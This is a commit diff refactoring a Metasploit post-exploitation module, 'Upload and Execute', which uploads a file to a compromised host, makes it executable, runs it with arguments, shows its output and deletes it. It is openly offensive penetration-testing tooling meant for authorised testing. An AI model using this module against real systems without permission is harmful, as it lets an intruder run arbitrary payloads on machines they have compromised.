Refactor everything and add command output

GSoC/Meterpreter_Web_Console
William Vu 2018-09-21 16:42:14 -05:00
parent 410abdca80
commit d5f5ef103f
1 changed files with 43 additions and 52 deletions

View File

@ -9,15 +9,14 @@ class MetasploitModule < Msf::Post
def initialize(info = {})
super(update_info(info,
'Name' => 'Upload and Execute',
'Description' => %q{ Push a file and execute it },
'Description' => %q{Push a file and execute it.},
'Author' => 'egypt',
'License' => MSF_LICENSE,
'Author' => [ 'egypt'],
'Platform' => [ 'win','linux','osx' ],
'Platform' => ['win', 'unix', 'linux', 'osx'],
'SessionTypes' => ['meterpreter', 'shell']
))
register_options(
[
register_options([
OptPath.new('LPATH', [true, 'Local file path to upload and execute']),
OptString.new('RPATH', [false, 'Remote file path on target (default is basename of LPATH)']),
OptString.new('ARGS', [false, 'Command-line arguments to pass to the uploaded file']),
@ -25,14 +24,36 @@ class MetasploitModule < Msf::Post
])
end
def rpath
if datastore['RPATH'].blank?
remote_name = File.basename(datastore['LPATH'])
def run
upload_file(rpath, lpath)
if session.platform == 'windows'
cmd = "cmd.exe /c start #{rpath}"
else
remote_name = datastore['RPATH']
# Handle absolute paths
cmd = rpath.start_with?('/') ? rpath : "./#{rpath}"
end
remote_name
begin
# client is an alias for session
client.fs.file.chmod(rpath, 0700)
rescue
# Fall back if unimplemented or unavailable
cmd_exec("chmod 700 #{rpath}")
end
output = cmd_exec(cmd, args, timeout)
vprint_good(output) unless output.blank?
rm_f(rpath)
end
def lpath
datastore['LPATH']
end
def rpath
datastore['RPATH'].blank? ? File.basename(lpath) : datastore['RPATH']
end
def args
@ -42,34 +63,4 @@ class MetasploitModule < Msf::Post
def timeout
datastore['TIMEOUT']
end
def lpath
datastore['LPATH']
end
def run
upload_file(rpath, lpath)
if session.platform.include?('windows')
cmd_exec("cmd.exe /c start #{rpath}", args, timeout)
else
# Handle absolute paths
if rpath.start_with?('/')
cmd = rpath
else
cmd = "./#{rpath}"
end
if session.type == 'meterpreter'
# client is an alias for session
client.fs.file.chmod(rpath, 0700)
else
cmd_exec("chmod 700 #{rpath}")
end
cmd_exec(cmd, args, timeout)
end
rm_f(rpath)
end
end